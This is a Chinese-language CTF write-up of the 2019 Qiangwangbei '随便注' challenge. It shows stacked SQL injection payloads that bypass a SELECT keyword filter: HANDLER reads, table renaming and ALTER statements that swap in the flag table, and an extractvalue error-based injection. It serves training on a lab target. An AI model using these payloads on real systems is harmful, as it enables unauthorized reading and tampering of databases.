ctf-[强网杯 2019]随便注
参考:https://www.cnblogs.com/LoYoHo00/articles/15246301.html

(1)先判断传参方式--get**
(2)判断闭合方式 1' 发现报错 ,确认是单引号闭合
(1" 和1 的回显结果相同,说明闭合方式不是双引号而是其他)
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
推测可能使用报错注入
(3)判断是否有关键字过滤
输入select
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
骚操作:
SQL预编译:
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值,如下:
复制代码 代码如下:
SELECT @VAR1=‘Y’,@VAR2=‘N’
– 而SET要达到同样的效果,需要:
SET @VAR1=‘Y’
SET @VAR2=‘N’
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句
PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
hander语句代替select语句。
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
解释:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
Payload:
1';handler `1919810931114514` open as `kay`;handler `kay` read next;#
得到flag.
表重命名
禁用了联合查询,报错注入,布尔,时间盲注
只剩下堆叠注入
1' or 1=1;#
1' order by 2;#正常返回
1' order by 3;#报错
1';show tables;# 得到两张表
1';show databases;#
-1';show columns from `words`;#
0';show columns from `1919810931114514`;#
1';show columns from 'words';--+
1';show tables;# 得到两张表

-1';show columns from words;#

0';show columns from 1919810931114514;#

输入1返回此页面,结合(1' order by 2;#正常返回)和(-1';show columns from words;#)
推测,两个字段对应的是 id 和 data
查询语句是 select id,value from 'words'
解决思路:
把word表名进行修改,并把1919表的名字改为word
1';rename table words to words2;
rename table `1919810931114514` to words;
ALTER TABLE words ADD id int(10) DEFAULT '12';
ALTER TABLE words CHANGE flag data VARCHAR(100);#
改名;改名;新的words表中添加字段id;将字段flag改为data;
1';show tables;--+ 检测是否更改成功
1' or 1=1;# 看见flag
其他方法:
不使用select的报错注入(查询数据库名)
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q
PS:
ALTER TABLE words ADD id int(10) DEFAULT '12';
https://www.cnblogs.com/devcjq/articles/6021338.html
alter add命令用来增加表的字段。
alter add命令格式:alter table 表名 add字段 类型 其他;
MySQL 中修改表字段名的语法规则如下:
ALTER TABLE words CHANGE flag data VARCHAR(100);
ALTER TABLE <表名> CHANGE <旧字段名> <新字段名> <新数据类型>;
其中,旧字段名指修改前的字段名;新字段名指修改后的字段名;新数据类型指修改后的数据类型,如果不需要修改字段的数据类型,可以将新数据类型设置成与原来一样,但数据类型不能为空。
注意from表名时的单引号

关于在这里使用 而不是 ’ 的一些解释: 两者在linux下和windows下不同,linux下不区分,windows下区分。 单引号 ’ 或双引号主要用于 字符串的引用符号 反勾号 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。

浙公网安备 33010602011771号